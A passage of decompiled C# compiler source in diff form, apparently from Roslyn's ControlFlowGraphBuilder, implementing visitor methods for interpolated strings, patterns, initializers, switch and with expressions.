collectAppendCalls(IInterpolatedStringHandlerCreationOperation creation, ArrayBuilder appendCalls) + { + if (creation.Content is IInterpolatedStringOperation interpolatedString) + { + appendStringCalls(interpolatedString, appendCalls); + } + else + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + pushLeftNodes((IInterpolatedStringAdditionOperation)creation.Content, instance2); + IInterpolatedStringAdditionOperation result; + while (instance2.TryPop(out result)) + { + IOperation left = result.Left; + if (!(left is IInterpolatedStringOperation interpolatedString2)) + { + if (!(left is IInterpolatedStringAdditionOperation)) + { + throw ExceptionUtilities.UnexpectedValue(result.Left.Kind); + } + } + else + { + appendStringCalls(interpolatedString2, appendCalls); + } + left = result.Right; + if (!(left is IInterpolatedStringOperation interpolatedString3)) + { + if (!(left is IInterpolatedStringAdditionOperation addition)) + { + throw ExceptionUtilities.UnexpectedValue(result.Left.Kind); + } + pushLeftNodes(addition, instance2); + } + else + { + appendStringCalls(interpolatedString3, appendCalls); + } + } + instance2.Free(); + } + } + static void pushLeftNodes(IInterpolatedStringAdditionOperation addition, ArrayBuilder stack) + { + IInterpolatedStringAdditionOperation interpolatedStringAdditionOperation = addition; + do + { + stack.Push(interpolatedStringAdditionOperation); + interpolatedStringAdditionOperation = interpolatedStringAdditionOperation.Left as IInterpolatedStringAdditionOperation; + } + while (interpolatedStringAdditionOperation != null); + } + } + + public override IOperation? VisitInterpolatedStringAddition(IInterpolatedStringAdditionOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 6746); + } + + public override IOperation? VisitInterpolatedStringAppend(IInterpolatedStringAppendOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 6751); + } + + public override IOperation? VisitInterpolatedStringHandlerArgumentPlaceholder(IInterpolatedStringHandlerArgumentPlaceholderOperation operation, int? captureIdForResult) + { + switch (operation.PlaceholderKind) + { + case InterpolatedStringArgumentPlaceholderKind.TrailingValidityArgument: + return new FlowCaptureReferenceOperation(_currentInterpolatedStringHandlerCreationContext.OutPlaceholder, operation.Syntax, operation.Type, operation.GetConstantValue(), isInitialization: true); + case InterpolatedStringArgumentPlaceholderKind.CallsiteReceiver: + if (_currentInterpolatedStringHandlerArgumentContext.HasReceiver) + { + IOperation operation3 = tryGetArgumentOrReceiver(-1); + if (operation3 != null) + { + return OperationCloner.CloneOperation(operation3); + } + } + return new InvalidOperation(ImmutableArray.Empty, null, operation.Syntax, operation.Type, operation.GetConstantValue(), isImplicit: true); + case InterpolatedStringArgumentPlaceholderKind.CallsiteArgument: + { + IOperation operation2 = tryGetArgumentOrReceiver(operation.ArgumentIndex); + if (operation2 != null) + { + return OperationCloner.CloneOperation(operation2); + } + return new InvalidOperation(ImmutableArray.Empty, null, operation.Syntax, operation.Type, operation.GetConstantValue(), isImplicit: true); + } + default: + throw ExceptionUtilities.UnexpectedValue(operation.PlaceholderKind); + } + IOperation? tryGetArgumentOrReceiver(int argumentIndex) + { + if (_currentInterpolatedStringHandlerArgumentContext.HasReceiver) + { + argumentIndex++; + } + int num = _currentInterpolatedStringHandlerArgumentContext.StartingStackDepth + argumentIndex; + if (num > _currentInterpolatedStringHandlerCreationContext.MaximumStackDepth || num >= _evalStack.Count) + { + return null; + } + return _evalStack[num].operationOpt; + } + } + + public override IOperation VisitInterpolatedString(IInterpolatedStringOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + ImmutableArray.Enumerator enumerator = operation.Parts.GetEnumerator(); + while (enumerator.MoveNext()) + { + IInterpolatedStringContentOperation current = enumerator.Current; + if (current.Kind == OperationKind.Interpolation) + { + IInterpolationOperation interpolationOperation = (IInterpolationOperation)current; + PushOperand(VisitRequired(interpolationOperation.Expression)); + if (interpolationOperation.Alignment != null) + { + PushOperand(VisitRequired(interpolationOperation.Alignment)); + } + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(operation.Parts.Length); + for (int num = operation.Parts.Length - 1; num >= 0; num--) + { + IInterpolatedStringContentOperation interpolatedStringContentOperation = operation.Parts[num]; + IInterpolatedStringContentOperation item; + if (!(interpolatedStringContentOperation is IInterpolationOperation interpolationOperation2)) + { + if (!(interpolatedStringContentOperation is IInterpolatedStringTextOperation interpolatedStringTextOperation)) + { + throw ExceptionUtilities.UnexpectedValue(interpolatedStringContentOperation.Kind); + } + item = new InterpolatedStringTextOperation(VisitRequired(interpolatedStringTextOperation.Text), null, interpolatedStringContentOperation.Syntax, IsImplicit(interpolatedStringContentOperation)); + } + else + { + IOperation formatString = ((interpolationOperation2.FormatString == null) ? null : VisitRequired(interpolationOperation2.FormatString)); + IOperation alignment = ((interpolationOperation2.Alignment != null) ? PopOperand() : null); + item = new InterpolationOperation(PopOperand(), alignment, formatString, null, interpolatedStringContentOperation.Syntax, IsImplicit(interpolatedStringContentOperation)); + } + instance.Add(item); + } + instance.ReverseContents(); + PopStackFrame(frame); + return new InterpolatedStringOperation(instance.ToImmutableAndFree(), null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + public override IOperation VisitInterpolatedStringText(IInterpolatedStringTextOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 6878); + } + + public override IOperation VisitInterpolation(IInterpolationOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 6883); + } + + public override IOperation VisitNameOf(INameOfOperation operation, int? captureIdForResult) + { + return new LiteralOperation(null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + public override IOperation VisitLiteral(ILiteralOperation operation, int? captureIdForResult) + { + return new LiteralOperation(null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + public override IOperation? VisitUtf8String(IUtf8StringOperation operation, int? captureIdForResult) + { + return new Utf8StringOperation(operation.Value, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitLocalReference(ILocalReferenceOperation operation, int? captureIdForResult) + { + return new LocalReferenceOperation(operation.Local, operation.IsDeclaration, null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + public override IOperation VisitParameterReference(IParameterReferenceOperation operation, int? captureIdForResult) + { + return new ParameterReferenceOperation(operation.Parameter, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitFieldReference(IFieldReferenceOperation operation, int? captureIdForResult) + { + IOperation instance = (operation.Field.IsStatic ? null : Visit(operation.Instance)); + return new FieldReferenceOperation(operation.Field, operation.IsDeclaration, instance, null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + public override IOperation VisitMethodReference(IMethodReferenceOperation operation, int? captureIdForResult) + { + IOperation instance = (operation.Method.IsStatic ? null : Visit(operation.Instance)); + return new MethodReferenceOperation(operation.Method, operation.ConstrainedToType, operation.IsVirtual, instance, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitPropertyReference(IPropertyReferenceOperation operation, int? captureIdForResult) + { + if (operation.Instance is IInstanceReferenceOperation { ReferenceKind: InstanceReferenceKind.ImplicitReceiver } && operation.Property.ContainingType.IsAnonymousType && operation.Property.ContainingType == _currentImplicitInstance.AnonymousType) + { + if (_currentImplicitInstance.AnonymousTypePropertyValues.TryGetValue(operation.Property, out IOperation value)) + { + if (!(value is IFlowCaptureReferenceOperation { Id: var id })) + { + return OperationCloner.CloneOperation(value); + } + return GetCaptureReference(id.Value, operation); + } + return MakeInvalidOperation(operation.Syntax, operation.Type, ImmutableArray.Empty); + } + EvalStackFrame frame = PushStackFrame(); + IOperation instance = (operation.Property.IsStatic ? null : operation.Instance); + var (instance2, arguments) = VisitInstanceWithArguments(instance, operation.Arguments); + PopStackFrame(frame); + return new PropertyReferenceOperation(operation.Property, operation.ConstrainedToType, arguments, instance2, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitEventReference(IEventReferenceOperation operation, int? captureIdForResult) + { + IOperation instance = (operation.Event.IsStatic ? null : Visit(operation.Instance)); + return new EventReferenceOperation(operation.Event, operation.ConstrainedToType, instance, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitTypeOf(ITypeOfOperation operation, int? captureIdForResult) + { + return new TypeOfOperation(operation.TypeOperand, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitParenthesized(IParenthesizedOperation operation, int? captureIdForResult) + { + return new ParenthesizedOperation(VisitRequired(operation.Operand), null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + public override IOperation VisitAwait(IAwaitOperation operation, int? captureIdForResult) + { + return new AwaitOperation(VisitRequired(operation.Operation), null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitSizeOf(ISizeOfOperation operation, int? captureIdForResult) + { + return new SizeOfOperation(operation.TypeOperand, null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + public override IOperation VisitStop(IStopOperation operation, int? captureIdForResult) + { + return new StopOperation(null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitIsType(IIsTypeOperation operation, int? captureIdForResult) + { + return new IsTypeOperation(VisitRequired(operation.ValueOperand), operation.TypeOperand, operation.IsNegated, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation? VisitParameterInitializer(IParameterInitializerOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + ParameterReferenceOperation rewrittenTarget = new ParameterReferenceOperation(operation.Parameter, null, operation.Syntax, operation.Parameter.Type, isImplicit: true); + VisitInitializer(rewrittenTarget, operation); + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitFieldInitializer(IFieldInitializerOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + ImmutableArray.Enumerator enumerator = operation.InitializedFields.GetEnumerator(); + while (enumerator.MoveNext()) + { + IFieldSymbol current = enumerator.Current; + IInstanceReferenceOperation instance = (current.IsStatic ? null : new InstanceReferenceOperation(InstanceReferenceKind.ContainingTypeInstance, null, operation.Syntax, current.ContainingType, isImplicit: true)); + FieldReferenceOperation rewrittenTarget = new FieldReferenceOperation(current, isDeclaration: false, instance, null, operation.Syntax, current.Type, null, isImplicit: true); + VisitInitializer(rewrittenTarget, operation); + } + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitPropertyInitializer(IPropertyInitializerOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + ImmutableArray.Enumerator enumerator = operation.InitializedProperties.GetEnumerator(); + while (enumerator.MoveNext()) + { + IPropertySymbol current = enumerator.Current; + InstanceReferenceOperation instance = (current.IsStatic ? null : new InstanceReferenceOperation(InstanceReferenceKind.ContainingTypeInstance, null, operation.Syntax, current.ContainingType, isImplicit: true)); + ImmutableArray arguments; + if (!current.Parameters.IsEmpty) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(current.Parameters.Length); + ImmutableArray.Enumerator enumerator2 = current.Parameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + IParameterSymbol current2 = enumerator2.Current; + InvalidOperation value = new InvalidOperation(ImmutableArray.Empty, null, operation.Syntax, current2.Type, null, isImplicit: true); + ArgumentOperation item = new ArgumentOperation(ArgumentKind.Explicit, current2, value, OperationFactory.IdentityConversion, OperationFactory.IdentityConversion, null, operation.Syntax, isImplicit: true); + instance2.Add(item); + } + arguments = instance2.ToImmutableAndFree(); + } + else + { + arguments = ImmutableArray.Empty; + } + IOperation rewrittenTarget = new PropertyReferenceOperation(current, null, arguments, instance, null, operation.Syntax, current.Type, isImplicit: true); + VisitInitializer(rewrittenTarget, operation); + } + return FinishVisitingStatement(operation); + } + + private void VisitInitializer(IOperation rewrittenTarget, ISymbolInitializerOperation initializer) + { + EnterRegion(new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, initializer.Locals)); + EvalStackFrame frame = PushStackFrame(); + SimpleAssignmentOperation statement = new SimpleAssignmentOperation(isRef: false, rewrittenTarget, VisitRequired(initializer.Value), null, initializer.Syntax, rewrittenTarget.Type, null, isImplicit: true); + AddStatement(statement); + PopStackFrameAndLeaveRegion(frame); + LeaveRegion(); + } + + public override IOperation VisitEventAssignment(IEventAssignmentOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + IEventReferenceOperation eventReferenceOperation = getEventReference(); + IOperation handlerValue; + IOperation eventReference; + if (eventReferenceOperation != null) + { + IOperation operation2 = (eventReferenceOperation.Event.IsStatic ? null : eventReferenceOperation.Instance); + if (operation2 != null) + { + PushOperand(VisitRequired(operation2)); + } + handlerValue = VisitRequired(operation.HandlerValue); + IOperation instance = ((operation2 == null) ? null : PopOperand()); + eventReference = new EventReferenceOperation(eventReferenceOperation.Event, eventReferenceOperation.ConstrainedToType, instance, null, operation.EventReference.Syntax, operation.EventReference.Type, IsImplicit(operation.EventReference)); + } + else + { + PushOperand(VisitRequired(operation.EventReference)); + handlerValue = VisitRequired(operation.HandlerValue); + eventReference = PopOperand(); + } + PopStackFrame(frame); + return new EventAssignmentOperation(eventReference, handlerValue, operation.Adds, null, operation.Syntax, operation.Type, IsImplicit(operation)); + IEventReferenceOperation? getEventReference() + { + IOperation operation3 = operation.EventReference; + while (true) + { + switch (operation3.Kind) + { + case OperationKind.EventReference: + return (IEventReferenceOperation)operation3; + case OperationKind.Parenthesized: + break; + default: + return null; + } + operation3 = ((IParenthesizedOperation)operation3).Operand; + } + } + } + + public override IOperation VisitRaiseEvent(IRaiseEventOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + EvalStackFrame frame = PushStackFrame(); + (IOperation? visitedInstance, ImmutableArray visitedArguments) tuple = VisitInstanceWithArguments(operation.EventReference.Event.IsStatic ? null : operation.EventReference.Instance, operation.Arguments); + IOperation item = tuple.visitedInstance; + ImmutableArray item2 = tuple.visitedArguments; + EventReferenceOperation eventReference = new EventReferenceOperation(operation.EventReference.Event, operation.EventReference.ConstrainedToType, item, null, operation.EventReference.Syntax, operation.EventReference.Type, IsImplicit(operation.EventReference)); + PopStackFrame(frame); + return FinishVisitingStatement(operation, new RaiseEventOperation(eventReference, item2, null, operation.Syntax, IsImplicit(operation))); + } + + public override IOperation VisitAddressOf(IAddressOfOperation operation, int? captureIdForResult) + { + return new AddressOfOperation(VisitRequired(operation.Reference), null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitIncrementOrDecrement(IIncrementOrDecrementOperation operation, int? captureIdForResult) + { + return new IncrementOrDecrementOperation(operation.IsPostfix, operation.IsLifted, operation.IsChecked, VisitRequired(operation.Target), operation.OperatorMethod, operation.ConstrainedToType, operation.Kind, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitDiscardOperation(IDiscardOperation operation, int? captureIdForResult) + { + return new DiscardOperation(operation.DiscardSymbol, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitDiscardPattern(IDiscardPatternOperation pat, int? captureIdForResult) + { + return new DiscardPatternOperation(pat.InputType, pat.NarrowedType, null, pat.Syntax, IsImplicit(pat)); + } + + public override IOperation VisitOmittedArgument(IOmittedArgumentOperation operation, int? captureIdForResult) + { + return new OmittedArgumentOperation(null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + internal override IOperation VisitPlaceholder(IPlaceholderOperation operation, int? captureIdForResult) + { + switch (operation.PlaceholderKind) + { + case PlaceholderKind.SwitchOperationExpression: + if (_currentSwitchOperationExpression != null) + { + return OperationCloner.CloneOperation(_currentSwitchOperationExpression); + } + break; + case PlaceholderKind.ForToLoopBinaryOperatorLeftOperand: + if (_forToLoopBinaryOperatorLeftOperand != null) + { + return _forToLoopBinaryOperatorLeftOperand; + } + break; + case PlaceholderKind.ForToLoopBinaryOperatorRightOperand: + if (_forToLoopBinaryOperatorRightOperand != null) + { + return _forToLoopBinaryOperatorRightOperand; + } + break; + case PlaceholderKind.AggregationGroup: + if (_currentAggregationGroup != null) + { + return OperationCloner.CloneOperation(_currentAggregationGroup); + } + break; + } + return new PlaceholderOperation(operation.PlaceholderKind, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitConversion(IConversionOperation operation, int? captureIdForResult) + { + return new ConversionOperation(VisitRequired(operation.Operand), ((ConversionOperation)operation).ConversionConvertible, operation.IsTryCast, operation.IsChecked, null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + public override IOperation VisitDefaultValue(IDefaultValueOperation operation, int? captureIdForResult) + { + return new DefaultValueOperation(null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + public override IOperation VisitIsPattern(IIsPatternOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + PushOperand(VisitRequired(operation.Value)); + IPatternOperation pattern = (IPatternOperation)VisitRequired(operation.Pattern); + IOperation value = PopOperand(); + PopStackFrame(frame); + return new IsPatternOperation(value, pattern, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitInvalid(IInvalidOperation operation, int? captureIdForResult) + { + ArrayBuilder children = ArrayBuilder.GetInstance(); + children.AddRange(((InvalidOperation)operation).Children); + if (children.Count != 0 && children.Last().Kind == OperationKind.ObjectOrCollectionInitializer) + { + SpillEvalStack(); + EvalStackFrame frame = PushStackFrame(); + IObjectOrCollectionInitializerOperation initializer = (IObjectOrCollectionInitializerOperation)children.Last(); + children.RemoveLast(); + EvalStackFrame frame2 = PushStackFrame(); + ArrayBuilder.Enumerator enumerator = children.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + PushOperand(VisitRequired(current)); + } + for (int num = children.Count - 1; num >= 0; num--) + { + children[num] = PopOperand(); + } + PopStackFrame(frame2); + IOperation objectCreation = new InvalidOperation(children.ToImmutableAndFree(), null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + objectCreation = HandleObjectOrCollectionInitializer(initializer, objectCreation); + PopStackFrame(frame); + return objectCreation; + } + if (_currentStatement == operation) + { + return visitInvalidOperationStatement(operation); + } + return visitInvalidOperationExpression(operation); + IOperation visitInvalidOperationExpression(IInvalidOperation invalidOperation) + { + return PopStackFrame(PushStackFrame(), new InvalidOperation(VisitArray(children.ToImmutableAndFree()), null, invalidOperation.Syntax, invalidOperation.Type, invalidOperation.GetConstantValue(), IsImplicit(operation))); + } + IOperation visitInvalidOperationStatement(IInvalidOperation invalidOperation) + { + VisitStatements(children.ToImmutableAndFree()); + return new InvalidOperation(ImmutableArray.Empty, null, invalidOperation.Syntax, invalidOperation.Type, invalidOperation.GetConstantValue(), IsImplicit(invalidOperation)); + } + } + + public override IOperation? VisitReDim(IReDimOperation operation, int? argument) + { + StartVisitingStatement(operation); + bool isImplicit = operation.Clauses.Length > 1 || IsImplicit(operation); + ImmutableArray.Enumerator enumerator = operation.Clauses.GetEnumerator(); + while (enumerator.MoveNext()) + { + IReDimClauseOperation current = enumerator.Current; + EvalStackFrame frame = PushStackFrame(); + ReDimOperation statement = new ReDimOperation(ImmutableArray.Create(visitReDimClause(current)), operation.Preserve, null, operation.Syntax, isImplicit); + AddStatement(statement); + PopStackFrameAndLeaveRegion(frame); + } + return FinishVisitingStatement(operation); + IReDimClauseOperation visitReDimClause(IReDimClauseOperation clause) + { + PushOperand(VisitRequired(clause.Operand)); + ImmutableArray dimensionSizes = VisitArray(clause.DimensionSizes); + return new ReDimClauseOperation(PopOperand(), dimensionSizes, null, clause.Syntax, IsImplicit(clause)); + } + } + + public override IOperation VisitReDimClause(IReDimClauseOperation operation, int? argument) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 7330); + } + + public override IOperation VisitTranslatedQuery(ITranslatedQueryOperation operation, int? captureIdForResult) + { + return new TranslatedQueryOperation(VisitRequired(operation.Operation), null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitConstantPattern(IConstantPatternOperation operation, int? captureIdForResult) + { + return new ConstantPatternOperation(VisitRequired(operation.Value), operation.InputType, operation.NarrowedType, null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitRelationalPattern(IRelationalPatternOperation operation, int? argument) + { + return new RelationalPatternOperation(operation.OperatorKind, VisitRequired(operation.Value), operation.InputType, operation.NarrowedType, null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitBinaryPattern(IBinaryPatternOperation operation, int? argument) + { + return new BinaryPatternOperation(operation.OperatorKind, (IPatternOperation)VisitRequired(operation.LeftPattern), (IPatternOperation)VisitRequired(operation.RightPattern), operation.InputType, operation.NarrowedType, null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitNegatedPattern(INegatedPatternOperation operation, int? argument) + { + return new NegatedPatternOperation((IPatternOperation)VisitRequired(operation.Pattern), operation.InputType, operation.NarrowedType, null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitTypePattern(ITypePatternOperation operation, int? argument) + { + return new TypePatternOperation(operation.MatchedType, operation.InputType, operation.NarrowedType, null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitDeclarationPattern(IDeclarationPatternOperation operation, int? captureIdForResult) + { + return new DeclarationPatternOperation(operation.MatchedType, operation.MatchesNull, operation.DeclaredSymbol, operation.InputType, operation.NarrowedType, null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitSlicePattern(ISlicePatternOperation operation, int? argument) + { + return new SlicePatternOperation(operation.SliceSymbol, (IPatternOperation)Visit(operation.Pattern), operation.InputType, operation.NarrowedType, null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitListPattern(IListPatternOperation operation, int? argument) + { + return new ListPatternOperation(operation.LengthSymbol, operation.IndexerSymbol, operation.Patterns.SelectAsArray((IPatternOperation p, ControlFlowGraphBuilder @this) => (IPatternOperation)@this.VisitRequired(p), this), operation.DeclaredSymbol, operation.InputType, operation.NarrowedType, null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitRecursivePattern(IRecursivePatternOperation operation, int? argument) + { + return new RecursivePatternOperation(operation.MatchedType, operation.DeconstructSymbol, operation.DeconstructionSubpatterns.SelectAsArray((IPatternOperation p, ControlFlowGraphBuilder @this) => (IPatternOperation)@this.VisitRequired(p), this), operation.PropertySubpatterns.SelectAsArray((IPropertySubpatternOperation p, ControlFlowGraphBuilder @this) => (IPropertySubpatternOperation)@this.VisitRequired(p), this), operation.DeclaredSymbol, operation.InputType, operation.NarrowedType, null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitPropertySubpattern(IPropertySubpatternOperation operation, int? argument) + { + return new PropertySubpatternOperation(VisitRequired(operation.Member), (IPatternOperation)VisitRequired(operation.Pattern), null, operation.Syntax, IsImplicit(operation)); + } + + public override IOperation VisitDelegateCreation(IDelegateCreationOperation operation, int? captureIdForResult) + { + return new DelegateCreationOperation(VisitRequired(operation.Target), null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitRangeOperation(IRangeOperation operation, int? argument) + { + if (operation.LeftOperand != null) + { + PushOperand(VisitRequired(operation.LeftOperand)); + } + IOperation rightOperand = null; + if (operation.RightOperand != null) + { + rightOperand = Visit(operation.RightOperand); + } + return new RangeOperation((operation.LeftOperand == null) ? null : PopOperand(), rightOperand, operation.IsLifted, operation.Method, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitSwitchExpression(ISwitchExpressionOperation operation, int? captureIdForResult) + { + INamedTypeSymbol specialType = _compilation.GetSpecialType(SpecialType.System_Boolean); + SpillEvalStack(); + RegionBuilder currentRegionRequired = CurrentRegionRequired; + int num = captureIdForResult ?? GetNextCaptureId(currentRegionRequired); + IOperation operation2 = VisitAndCapture(operation.Value); + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + ImmutableArray.Enumerator enumerator = operation.Arms.GetEnumerator(); + while (enumerator.MoveNext()) + { + ISwitchExpressionArmOperation current = enumerator.Current; + RegionBuilder region = new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, current.Locals); + EnterRegion(region); + BasicBlockBuilder dest = new BasicBlockBuilder(BasicBlockKind.Block); + EvalStackFrame frame = PushStackFrame(); + IPatternOperation pattern = (IPatternOperation)VisitRequired(current.Pattern); + IsPatternOperation condition = new IsPatternOperation(OperationCloner.CloneOperation(operation2), pattern, null, current.Syntax, specialType, IsImplicit(current)); + ConditionalBranch(condition, jumpIfTrue: false, dest); + _currentBasicBlock = null; + PopStackFrameAndLeaveRegion(frame); + if (current.Guard != null) + { + EvalStackFrame frame2 = PushStackFrame(); + VisitConditionalBranch(current.Guard, ref dest, jumpIfTrue: false); + _currentBasicBlock = null; + PopStackFrameAndLeaveRegion(frame2); + } + VisitAndCapture(current.Value, num); + UnconditionalBranch(basicBlockBuilder); + AppendNewBlock(dest); + LeaveRegion(); + } + LeaveRegionsUpTo(currentRegionRequired); + IMethodSymbol methodSymbol = (IMethodSymbol)((_compilation.CommonGetWellKnownTypeMember(WellKnownMember.System_Runtime_CompilerServices_SwitchExpressionException__ctor) ?? _compilation.CommonGetWellKnownTypeMember(WellKnownMember.System_InvalidOperationException__ctor))?.GetISymbol()); + IOperation operation4; + if (methodSymbol != null) + { + IOperation operation3 = new ObjectCreationOperation(methodSymbol, null, ImmutableArray.Empty, null, operation.Syntax, methodSymbol.ContainingType, null, isImplicit: true); + operation4 = operation3; + } + else + { + operation4 = MakeInvalidOperation(operation.Syntax, _compilation.GetSpecialType(SpecialType.System_Object), ImmutableArray.Empty); + } + IOperation exception = operation4; + LinkThrowStatement(exception); + _currentBasicBlock = null; + AppendNewBlock(basicBlockBuilder, linkToPrevious: false); + return GetCaptureReference(num, operation); + } + + private void VisitUsingVariableDeclarationOperation(IUsingDeclarationOperation operation, ReadOnlySpan statements) + { + IOperation currentStatement = _currentStatement; + _currentStatement = operation; + StartVisitingStatement(operation); + ArrayBuilder instance = ArrayBuilder.GetInstance(statements.Length); + ArrayBuilder arrayBuilder = null; + ReadOnlySpan readOnlySpan = statements; + for (int i = 0; i < readOnlySpan.Length; i++) + { + IOperation operation2 = readOnlySpan[i]; + if (operation2.Kind == OperationKind.LocalFunction) + { + (arrayBuilder ?? (arrayBuilder = ArrayBuilder.GetInstance())).Add(operation2); + } + else + { + instance.Add(operation2); + } + } + BlockOperation body = BlockOperation.CreateTemporaryBlock(instance.ToImmutableAndFree(), ((Operation)operation).OwningSemanticModel, operation.Syntax); + DisposeOperationInfo disposeInfo = ((UsingDeclarationOperation)operation).DisposeInfo; + HandleUsingOperationParts(operation.DeclarationGroup, body, disposeInfo.DisposeMethod, disposeInfo.DisposeArguments, ImmutableArray.Empty, operation.IsAsynchronous); + FinishVisitingStatement(operation); + _currentStatement = currentStatement; + if (arrayBuilder != null) + { + VisitStatements(arrayBuilder.ToImmutableAndFree()); + } + } + + public IOperation? Visit(IOperation? operation) + { + return Visit(operation, null); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [return: NotNullIfNotNull("operation")] + public IOperation? VisitRequired(IOperation? operation, int? argument = null) + { + return Visit(operation, argument); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [return: NotNullIfNotNull("operation")] + public IOperation? BaseVisitRequired(IOperation? operation, int? argument) + { + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + _recursionDepth++; + IOperation? result = base.Visit(operation, argument); + _recursionDepth--; + return result; + } + + public override IOperation? Visit(IOperation? operation, int? argument) + { + if (operation == null) + { + return null; + } + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + _recursionDepth++; + IOperation? result = PopStackFrame(PushStackFrame(), base.Visit(operation, argument)); + _recursionDepth--; + return result; + } + + public override IOperation DefaultVisit(IOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 7664); + } + + public override IOperation VisitArgument(IArgumentOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 7669); + } + + public override IOperation VisitUsingDeclaration(IUsingDeclarationOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 7674); + } + + public override IOperation VisitWith(IWithOperation operation, int? captureIdForResult) + { + if (operation.Type.IsAnonymousType) + { + return handleAnonymousTypeWithExpression((WithOperation)operation, captureIdForResult); + } + EvalStackFrame frame = PushStackFrame(); + IOperation operation2 = VisitRequired(operation.Operand); + IOperation objectCreation; + if (operation.Type.IsValueType) + { + objectCreation = operation2; + } + else + { + IOperation operation4; + if (operation.CloneMethod != null) + { + IOperation operation3 = new InvocationOperation(operation.CloneMethod, null, operation2, isVirtual: true, ImmutableArray.Empty, null, operation.Syntax, operation.Type, isImplicit: true); + operation4 = operation3; + } + else + { + operation4 = MakeInvalidOperation(operation2.Type, operation2); + } + objectCreation = operation4; + } + return PopStackFrame(frame, HandleObjectOrCollectionInitializer(operation.Initializer, objectCreation)); + IOperation handleAnonymousTypeWithExpression(WithOperation withOperation, int? num2) + { + SpillEvalStack(); + RegionBuilder currentRegionRequired = CurrentRegionRequired; + RegionBuilder regionBuilder = new RegionBuilder(ControlFlowRegionKind.LocalLifetime); + EnterRegion(regionBuilder); + ImmutableArray initializers = withOperation.Initializer.Initializers; + IEnumerable enumerable = from m in withOperation.Type.GetMembers() + where m.Kind 